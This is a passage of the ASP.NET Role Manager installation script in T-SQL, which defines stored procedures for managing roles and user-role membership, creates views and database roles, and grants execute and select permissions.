LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) RETURN(3) IF (EXISTS( SELECT * FROM dbo.aspnet_UsersInRoles WHERE UserId = @UserId AND RoleId = @RoleId)) RETURN(1) ELSE RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_GetRolesForUser') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_GetRolesForUser GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_GetRolesForUser @ApplicationName nvarchar(256), @UserName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @UserId uniqueidentifier SELECT @UserId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @ApplicationId IF (@UserId IS NULL) RETURN(1) SELECT r.RoleName FROM dbo.aspnet_Roles r, dbo.aspnet_UsersInRoles ur WHERE r.RoleId = ur.RoleId AND r.ApplicationId = @ApplicationId AND ur.UserId = @UserId ORDER BY r.RoleName RETURN (0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_CreateRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_CreateRole GO CREATE PROCEDURE dbo.aspnet_Roles_CreateRole @ApplicationName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL DECLARE @ErrorCode int SET @ErrorCode = 0 DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END ELSE SET @TranStarted = 0 EXEC dbo.aspnet_Applications_CreateApplication @ApplicationName, @ApplicationId OUTPUT IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END IF (EXISTS(SELECT RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @ApplicationId)) BEGIN SET @ErrorCode = 1 GOTO Cleanup END INSERT INTO dbo.aspnet_Roles (ApplicationId, RoleName, LoweredRoleName) VALUES (@ApplicationId, @RoleName, LOWER(@RoleName)) IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 COMMIT TRANSACTION END RETURN(0) Cleanup: IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 ROLLBACK TRANSACTION END RETURN @ErrorCode END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_DeleteRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_DeleteRole GO CREATE PROCEDURE dbo.aspnet_Roles_DeleteRole @ApplicationName nvarchar(256), @RoleName nvarchar(256), @DeleteOnlyIfRoleIsEmpty bit AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @ErrorCode int SET @ErrorCode = 0 DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END ELSE SET @TranStarted = 0 DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) BEGIN SELECT @ErrorCode = 1 GOTO Cleanup END IF (@DeleteOnlyIfRoleIsEmpty <> 0) BEGIN IF (EXISTS (SELECT RoleId FROM dbo.aspnet_UsersInRoles WHERE @RoleId = RoleId)) BEGIN SELECT @ErrorCode = 2 GOTO Cleanup END END DELETE FROM dbo.aspnet_UsersInRoles WHERE @RoleId = RoleId IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END DELETE FROM dbo.aspnet_Roles WHERE @RoleId = RoleId AND ApplicationId = @ApplicationId IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 COMMIT TRANSACTION END RETURN(0) Cleanup: IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 ROLLBACK TRANSACTION END RETURN @ErrorCode END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_RoleExists') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_RoleExists GO CREATE PROCEDURE dbo.aspnet_Roles_RoleExists @ApplicationName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(0) IF (EXISTS (SELECT RoleName FROM dbo.aspnet_Roles WHERE LOWER(@RoleName) = LoweredRoleName AND ApplicationId = @ApplicationId )) RETURN(1) ELSE RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_AddUsersToRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_AddUsersToRoles GO IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_RemoveUsersFromRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_RemoveUsersFromRoles GO DECLARE @ver int DECLARE @version nchar(100) DECLARE @dot int DECLARE @hyphen int DECLARE @SqlToExec nchar(4000) SELECT @ver = 7 SELECT @version = @@Version SELECT @hyphen = CHARINDEX(N' - ', @version) IF (NOT(@hyphen IS NULL) AND @hyphen > 0) BEGIN SELECT @hyphen = @hyphen + 3 SELECT @dot = CHARINDEX(N'.', @version, @hyphen) IF (NOT(@dot IS NULL) AND @dot > @hyphen) BEGIN SELECT @version = SUBSTRING(@version, @hyphen, @dot - @hyphen) SELECT @ver = CONVERT(int, @version) END END IF (@ver > 7) SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_AddUsersToRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000), @CurrentTimeUtc datetime AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @tbNames table(Name nvarchar(256) NOT NULL PRIMARY KEY) DECLARE @tbRoles table(RoleId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @tbUsers table(UserId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @Num int DECLARE @Pos int DECLARE @NextPos int DECLARE @Name nvarchar(256) SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@RoleNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @RoleNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@RoleNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@RoleNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbRoles SELECT RoleId FROM dbo.aspnet_Roles ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredRoleName AND ar.ApplicationId = @AppId IF (@@ROWCOUNT <> @Num) BEGIN SELECT TOP 1 Name FROM @tbNames WHERE LOWER(Name) NOT IN (SELECT ar.LoweredRoleName FROM dbo.aspnet_Roles ar, @tbRoles r WHERE r.RoleId = ar.RoleId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END DELETE FROM @tbNames WHERE 1=1 SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@UserNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @UserNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@UserNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@UserNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbUsers SELECT UserId FROM dbo.aspnet_Users ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredUserName AND ar.ApplicationId = @AppId IF (@@ROWCOUNT <> @Num) BEGIN DELETE FROM @tbNames WHERE LOWER(Name) IN (SELECT LoweredUserName FROM dbo.aspnet_Users au, @tbUsers u WHERE au.UserId = u.UserId) INSERT dbo.aspnet_Users (ApplicationId, UserId, UserName, LoweredUserName, IsAnonymous, LastActivityDate) SELECT @AppId, NEWID(), Name, LOWER(Name), 0, @CurrentTimeUtc FROM @tbNames INSERT INTO @tbUsers SELECT UserId FROM dbo.aspnet_Users au, @tbNames t WHERE LOWER(t.Name) = au.LoweredUserName AND au.ApplicationId = @AppId END IF (EXISTS (SELECT * FROM dbo.aspnet_UsersInRoles ur, @tbUsers tu, @tbRoles tr WHERE tu.UserId = ur.UserId AND tr.RoleId = ur.RoleId)) BEGIN SELECT TOP 1 UserName, RoleName FROM dbo.aspnet_UsersInRoles ur, @tbUsers tu, @tbRoles tr, aspnet_Users u, aspnet_Roles r WHERE u.UserId = tu.UserId AND r.RoleId = tr.RoleId AND tu.UserId = ur.UserId AND tr.RoleId = ur.RoleId IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END INSERT INTO dbo.aspnet_UsersInRoles (UserId, RoleId) SELECT UserId, RoleId FROM @tbUsers, @tbRoles IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END' ELSE SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_AddUsersToRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000), @CurrentTimeUtc datetime AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @RoleId uniqueidentifier DECLARE @UserId uniqueidentifier DECLARE @UserName nvarchar(256) DECLARE @RoleName nvarchar(256) DECLARE @CurrentPosU int DECLARE @NextPosU int DECLARE @CurrentPosR int DECLARE @NextPosR int SELECT @CurrentPosU = 1 WHILE(@CurrentPosU <= LEN(@UserNames)) BEGIN SELECT @NextPosU = CHARINDEX(N'','', @UserNames, @CurrentPosU) IF (@NextPosU = 0 OR @NextPosU IS NULL) SELECT @NextPosU = LEN(@UserNames) + 1 SELECT @UserName = SUBSTRING(@UserNames, @CurrentPosU, @NextPosU - @CurrentPosU) SELECT @CurrentPosU = @NextPosU+1 SELECT @CurrentPosR = 1 WHILE(@CurrentPosR <= LEN(@RoleNames)) BEGIN SELECT @NextPosR = CHARINDEX(N'','', @RoleNames, @CurrentPosR) IF (@NextPosR = 0 OR @NextPosR IS NULL) SELECT @NextPosR = LEN(@RoleNames) + 1 SELECT @RoleName = SUBSTRING(@RoleNames, @CurrentPosR, @NextPosR - @CurrentPosR) SELECT @CurrentPosR = @NextPosR+1 SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @AppId IF (@RoleId IS NULL) BEGIN SELECT @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END SELECT @UserId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @AppId IF (@UserId IS NULL) BEGIN EXEC dbo.aspnet_Users_CreateUser @AppId, @UserName, 0, @CurrentTimeUtc, @UserId OUTPUT END IF (EXISTS(SELECT * FROM dbo.aspnet_UsersInRoles WHERE @UserId = UserId AND @RoleId = RoleId)) BEGIN SELECT @UserName, @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END INSERT INTO dbo.aspnet_UsersInRoles (UserId, RoleId) VALUES(@UserId, @RoleId) END END IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END' EXEC sp_executesql @SqlToExec IF (@ver > 7) SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_RemoveUsersFromRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000) AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @tbNames table(Name nvarchar(256) NOT NULL PRIMARY KEY) DECLARE @tbRoles table(RoleId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @tbUsers table(UserId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @Num int DECLARE @Pos int DECLARE @NextPos int DECLARE @Name nvarchar(256) DECLARE @CountAll int DECLARE @CountU int DECLARE @CountR int SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@RoleNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @RoleNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@RoleNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@RoleNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbRoles SELECT RoleId FROM dbo.aspnet_Roles ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredRoleName AND ar.ApplicationId = @AppId SELECT @CountR = @@ROWCOUNT IF (@CountR <> @Num) BEGIN SELECT TOP 1 N'''', Name FROM @tbNames WHERE LOWER(Name) NOT IN (SELECT ar.LoweredRoleName FROM dbo.aspnet_Roles ar, @tbRoles r WHERE r.RoleId = ar.RoleId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END DELETE FROM @tbNames WHERE 1=1 SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@UserNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @UserNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@UserNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@UserNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbUsers SELECT UserId FROM dbo.aspnet_Users ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredUserName AND ar.ApplicationId = @AppId SELECT @CountU = @@ROWCOUNT IF (@CountU <> @Num) BEGIN SELECT TOP 1 Name, N'''' FROM @tbNames WHERE LOWER(Name) NOT IN (SELECT au.LoweredUserName FROM dbo.aspnet_Users au, @tbUsers u WHERE u.UserId = au.UserId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(1) END SELECT @CountAll = COUNT(*) FROM dbo.aspnet_UsersInRoles ur, @tbUsers u, @tbRoles r WHERE ur.UserId = u.UserId AND ur.RoleId = r.RoleId IF (@CountAll <> @CountU * @CountR) BEGIN SELECT TOP 1 UserName, RoleName FROM @tbUsers tu, @tbRoles tr, dbo.aspnet_Users u, dbo.aspnet_Roles r WHERE u.UserId = tu.UserId AND r.RoleId = tr.RoleId AND tu.UserId NOT IN (SELECT ur.UserId FROM dbo.aspnet_UsersInRoles ur WHERE ur.RoleId = tr.RoleId) AND tr.RoleId NOT IN (SELECT ur.RoleId FROM dbo.aspnet_UsersInRoles ur WHERE ur.UserId = tu.UserId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END DELETE FROM dbo.aspnet_UsersInRoles WHERE UserId IN (SELECT UserId FROM @tbUsers) AND RoleId IN (SELECT RoleId FROM @tbRoles) IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END ' ELSE SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_RemoveUsersFromRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000) AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @RoleId uniqueidentifier DECLARE @UserId uniqueidentifier DECLARE @UserName nvarchar(256) DECLARE @RoleName nvarchar(256) DECLARE @CurrentPosU int DECLARE @NextPosU int DECLARE @CurrentPosR int DECLARE @NextPosR int SELECT @CurrentPosU = 1 WHILE(@CurrentPosU <= LEN(@UserNames)) BEGIN SELECT @NextPosU = CHARINDEX(N'','', @UserNames, @CurrentPosU) IF (@NextPosU = 0 OR @NextPosU IS NULL) SELECT @NextPosU = LEN(@UserNames)+1 SELECT @UserName = SUBSTRING(@UserNames, @CurrentPosU, @NextPosU - @CurrentPosU) SELECT @CurrentPosU = @NextPosU+1 SELECT @CurrentPosR = 1 WHILE(@CurrentPosR <= LEN(@RoleNames)) BEGIN SELECT @NextPosR = CHARINDEX(N'','', @RoleNames, @CurrentPosR) IF (@NextPosR = 0 OR @NextPosR IS NULL) SELECT @NextPosR = LEN(@RoleNames)+1 SELECT @RoleName = SUBSTRING(@RoleNames, @CurrentPosR, @NextPosR - @CurrentPosR) SELECT @CurrentPosR = @NextPosR+1 SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @AppId IF (@RoleId IS NULL) BEGIN SELECT N'''', @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END SELECT @UserId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @AppId IF (@UserId IS NULL) BEGIN SELECT @UserName, N'''' IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(1) END IF (NOT(EXISTS(SELECT * FROM dbo.aspnet_UsersInRoles WHERE @UserId = UserId AND @RoleId = RoleId))) BEGIN SELECT @UserName, @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END DELETE FROM dbo.aspnet_UsersInRoles WHERE (UserId = @UserId AND RoleId = @RoleId) END END IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END ' EXEC sp_executesql @SqlToExec GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_GetUsersInRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_GetUsersInRoles GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_GetUsersInRoles @ApplicationName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LOWER(@RoleName) = LoweredRoleName AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) RETURN(1) SELECT u.UserName FROM dbo.aspnet_Users u, dbo.aspnet_UsersInRoles ur WHERE u.UserId = ur.UserId AND @RoleId = ur.RoleId AND u.ApplicationId = @ApplicationId ORDER BY u.UserName RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_FindUsersInRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_FindUsersInRole GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_FindUsersInRole @ApplicationName nvarchar(256), @RoleName nvarchar(256), @UserNameToMatch nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LOWER(@RoleName) = LoweredRoleName AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) RETURN(1) SELECT u.UserName FROM dbo.aspnet_Users u, dbo.aspnet_UsersInRoles ur WHERE u.UserId = ur.UserId AND @RoleId = ur.RoleId AND u.ApplicationId = @ApplicationId AND LoweredUserName LIKE LOWER(@UserNameToMatch) ORDER BY u.UserName RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_GetAllRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_GetAllRoles GO CREATE PROCEDURE dbo.aspnet_Roles_GetAllRoles ( @ApplicationName nvarchar(256)) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN SELECT RoleName FROM dbo.aspnet_Roles WHERE ApplicationId = @ApplicationId ORDER BY RoleName END GO /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'vw_aspnet_Roles') AND (type = 'V'))) BEGIN PRINT 'Creating the vw_aspnet_Roles view...' EXEC(N' CREATE VIEW [dbo].[vw_aspnet_Roles] AS SELECT [dbo].[aspnet_Roles].[ApplicationId], [dbo].[aspnet_Roles].[RoleId], [dbo].[aspnet_Roles].[RoleName], [dbo].[aspnet_Roles].[LoweredRoleName], [dbo].[aspnet_Roles].[Description] FROM [dbo].[aspnet_Roles] ') END GO /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'vw_aspnet_UsersInRoles') AND (type = 'V'))) BEGIN PRINT 'Creating the vw_aspnet_UsersInRoles view...' EXEC(N' CREATE VIEW [dbo].[vw_aspnet_UsersInRoles] AS SELECT [dbo].[aspnet_UsersInRoles].[UserId], [dbo].[aspnet_UsersInRoles].[RoleId] FROM [dbo].[aspnet_UsersInRoles] ') END GO /*************************************************************/ /*************************************************************/ -- --Create Role Manager schema version -- DECLARE @command nvarchar(4000) SET @command = 'GRANT EXECUTE ON [dbo].aspnet_RegisterSchemaVersion TO ' + QUOTENAME(user) EXECUTE (@command) GO EXEC [dbo].aspnet_RegisterSchemaVersion N'Role Manager', N'1', 1, 1 GO /*************************************************************/ /*************************************************************/ -- --Create Role Manager roles -- IF ( NOT EXISTS ( SELECT name FROM sysusers WHERE issqlrole = 1 AND name = N'aspnet_Roles_FullAccess' ) ) EXEC sp_addrole N'aspnet_Roles_FullAccess' IF ( NOT EXISTS ( SELECT name FROM sysusers WHERE issqlrole = 1 AND name = N'aspnet_Roles_BasicAccess' ) ) EXEC sp_addrole N'aspnet_Roles_BasicAccess' IF ( NOT EXISTS ( SELECT name FROM sysusers WHERE issqlrole = 1 AND name = N'aspnet_Roles_ReportingAccess' ) ) EXEC sp_addrole N'aspnet_Roles_ReportingAccess' GO EXEC sp_addrolemember N'aspnet_Roles_BasicAccess', N'aspnet_Roles_FullAccess' EXEC sp_addrolemember N'aspnet_Roles_ReportingAccess', N'aspnet_Roles_FullAccess' GO -- --Stored Procedure rights for BasicAccess -- GRANT EXECUTE ON dbo.aspnet_UsersInRoles_IsUserInRole TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_GetRolesForUser TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_CheckSchemaVersion TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_RegisterSchemaVersion TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_UnRegisterSchemaVersion TO aspnet_Roles_BasicAccess -- --Stored Procedure rights for ReportingAccess -- GRANT EXECUTE ON dbo.aspnet_UsersInRoles_IsUserInRole TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_GetRolesForUser TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_Roles_RoleExists TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_GetUsersInRoles TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_FindUsersInRole TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_Roles_GetAllRoles TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_CheckSchemaVersion TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_RegisterSchemaVersion TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UnRegisterSchemaVersion TO aspnet_Roles_ReportingAccess -- --Additional stored procedure rights for FullAccess -- GRANT EXECUTE ON dbo.aspnet_Roles_CreateRole TO aspnet_Roles_FullAccess GRANT EXECUTE ON dbo.aspnet_Roles_DeleteRole TO aspnet_Roles_FullAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_AddUsersToRoles TO aspnet_Roles_FullAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_RemoveUsersFromRoles TO aspnet_Roles_FullAccess -- --View rights -- GRANT SELECT ON dbo.vw_aspnet_Applications TO aspnet_Roles_ReportingAccess GRANT SELECT ON dbo.vw_aspnet_Users TO aspnet_Roles_ReportingAccess GRANT SELECT ON dbo.vw_aspnet_Roles TO aspnet_Roles_ReportingAccess GRANT SELECT ON dbo.vw_aspnet_UsersInRoles TO aspnet_Roles_ReportingAccess GO /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ DECLARE @command nvarchar(4000) SET @command = 'REVOKE EXECUTE ON [dbo].aspnet_RegisterSchemaVersion FROM ' + QUOTENAME(user) EXECUTE (@command) GO PRINT '---------------------------------------' PRINT 'Completed execution of InstallRoles.SQL' PRINT '---------------------------------------'
Close